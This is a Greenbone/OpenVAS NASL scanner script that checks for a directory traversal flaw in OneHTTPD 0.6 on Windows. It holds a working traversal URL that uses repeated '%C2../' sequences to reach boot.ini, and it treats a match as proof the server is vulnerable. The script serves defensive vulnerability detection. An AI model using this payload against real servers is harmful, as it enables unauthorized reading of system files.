OneHTTPD <= 0.6 Directory Traversal Vulnerability - Active Check

# Copyright (C) 2010 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100620");
  script_version("2021-11-26T06:30:10+0000");
  script_tag(name:"last_modification", value:"2021-11-26 06:30:10 +0000 (Fri, 26 Nov 2021)");
  script_tag(name:"creation_date", value:"2010-05-04 12:32:13 +0200 (Tue, 04 May 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("OneHTTPD <= 0.6 Directory Traversal Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone Networks GmbH");
  script_family("Web Servers");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("onehttpd/banner", "Host/runs_windows");

  script_tag(name:"summary", value:"OneHTTPD is prone to a directory traversal vulnerability
  because it fails to sufficiently sanitize user-supplied input data.");

  script_tag(name:"impact", value:"Exploiting the issue may allow an attacker to obtain sensitive
  information that could aid in further attacks.");

  script_tag(name:"affected", value:"OneHTTPD 0.6 is vulnerable. Other versions may also be
  affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

banner = http_get_remote_headers(port:port);
if (!banner || "Server: onehttpd" >!< banner)
  exit(0);

url = "/%C2../%C2../%C2../%C2../%C2../%C2../%C2../%C2../";

if (http_vuln_check(port:port, url:url, pattern:"boot\.ini")) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);